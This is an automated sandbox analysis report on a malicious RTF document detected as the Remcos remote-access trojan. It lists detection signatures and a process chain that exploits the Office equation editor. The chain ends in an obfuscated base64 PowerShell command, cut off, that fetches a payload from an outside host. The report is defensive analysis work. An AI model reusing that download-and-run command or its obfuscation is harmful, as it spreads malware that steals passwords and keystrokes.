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Windows
Analysis Report
xnHel.rtf
Overview
General Information
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Powershell download and load assembly
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Document exploit detected (process start blacklist hit)
Found potential equation exploit (CVE-2017-11882)
Injects a PE file into a foreign processes
Installs a global keyboard hook
Installs new ROOT certificates
Office drops RTF file
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Abnormal high CPU Usage
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains Microsoft Equation 3.0 OLE entries
Document misses a certain OLE stream usually present in this Microsoft Office document type
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w7x64
- WINWORD.EXE (PID: 3260 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\WINWOR D.EXE" /Au tomation - Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5) - EQNEDT32.EXE (PID: 3340 cmdline:
"C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) - wscript.exe (PID: 3488 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\seenn ewthingsen tireworlds eethethin. vbS" MD5: 979D74799EA6C8B8167869A68DF5204A) - powershell.exe (PID: 3536 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' J? ? ? ? ? Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy ? ? ? ? ?G w? ? ? ? ? I? ? ? ? ? ? ? ? ? ?9 ? ? ? ? ?C ? ? ? ? ?? ? ? ? ?Jw Bo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh ? ? ? ? ?D Y? ? ? ? ? M? ? ? ? ? ? ? ? ? ?x ? ? ? ? ?D c? ? ? ? ? M? ? ? ? ? ? ? ? ? ?2 ? ? ? ? ?C 4? ? ? ? ? dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp ? ? ? ? ?H Y? ? ? ? ? ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?Mg? ? ? ? ?v? ? ? ? ?Gk? ? ? ? ?d? ? ? ? ?Bl ? ? ? ? ?G 0? ? ? ? ? cw? ? ? ? ?v? ? ? ? ?G4? ? ? ? ?ZQB3? ? ? ? ?F8? ? ? ? ?aQBt ? ? ? ? ?G E? ? ? ? ? ZwBl? ? ? ? ?F8? ? ? ? ?Mg? ? ? ? ?w? ? ? ? ?DI? ? ? ? ?N? ? ? ? ?? ? ? ? ?w? ? ? ? ?Dk? ? ? ? ?M? ? ? ? ?? ? ? ? ?1? ? ? ? ?C8? ? ? ? ?bgBl ? ? ? ? ?H c? ? ? ? ? XwBp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?Lg Bq? ? ? ? ?H? ? ? ? ?? ? ? ? ? Zw? ? ? ? ?n? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?B3? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQ Bl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?BO? ? ? ? ?GU? ? ? ? ?dw? ? ? ? ?t? ? ? ? ?E8? ? ? ? ?YgBq ? ? ? ? ?G U? ? ? ? ? YwB0? ? ? ? ?C? ? ? ? ?? ? ? ? ?UwB5? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?G0? ? ? ? ?Lg BO? ? ? ? ?GU? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?Fc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bg B0? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?Qg B5? ? ? ? ?HQ? ? ? ? ?ZQBz? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?CQ? ? ? ? ?dwBl ? ? ? ? ?G I? ? ? ? ? QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?Lg BE? ? ? ? ?G8? ? ? ? ?dwBu? ? ? ? ?Gw? ? ? ? ?bwBh ? ? ? ? ?G Q? ? ? ? ? R? ? ? ? ? Bh? ? ? ? ?HQ? ? ? ? ?YQ? ? ? ? ?o? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?Zw Bl? ? ? ? ?FU? ? ? ? ?cgBs? ? ? ? ?Ck? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQ Bh? ? ? ? ?Gc? ? ? ? ?ZQBU? ? ? ? ?GU? ? ? ? ?e? ? ? ? ?B0? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Fs? ? ? ? ?Uw B5? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?G0? ? ? ? ?LgBU? ? ? ? ?GU? ? ? ? ?e? ? ? ? ?B0 ? ? ? ? ?C 4? ? ? ? ? RQBu? ? ? ? ?GM? ? ? ? ?bwBk? ? ? ? ?Gk? ? ? ? ?bg Bn? ? ? ? ?F0? ? ? ? ?Og? ? ? ? ?6? ? ? ? ?FU? ? ? ? ?V? ? ? ? ?BG? ? ? ? ?Dg? ? ? ? ?LgBH ? ? ? ? ?G U? ? ? ? ? d? ? ? ? ? BT? ? ? ? ?HQ? ? ? ? ?cgBp? ? ? ? ?G4? ? ? ? ?Zw? ? ? ? ?o? ? ? ? ?CQ? ? ? ? ?aQ Bt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?EI? ? ? ? ?eQB0 ? ? ? ? ?G U? ? ? ? ? cw? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bz? ? ?